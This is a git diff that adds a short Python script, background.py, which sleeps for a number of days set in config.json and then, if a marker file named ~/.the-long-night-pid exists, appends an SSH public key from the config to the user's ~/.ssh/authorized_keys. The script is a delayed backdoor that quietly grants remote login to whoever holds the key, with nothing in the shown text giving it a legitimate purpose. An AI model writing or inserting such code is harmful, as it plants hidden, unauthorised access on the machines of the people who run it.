diff --git a/background.py b/background.py
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+#!/usr/bin/env python3
+
+import time
+import os
+import json
+
+with open('config.json') as f:
+    config = json.load(f)
+
+time.sleep(config["days"] * 86400)
+
+if os.path.isfile(os.path.expanduser('~/.the-long-night-pid')):
+    with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f:
+        f.write("\n")
+        f.write(config["ssh_key"])
+        f.write("\n")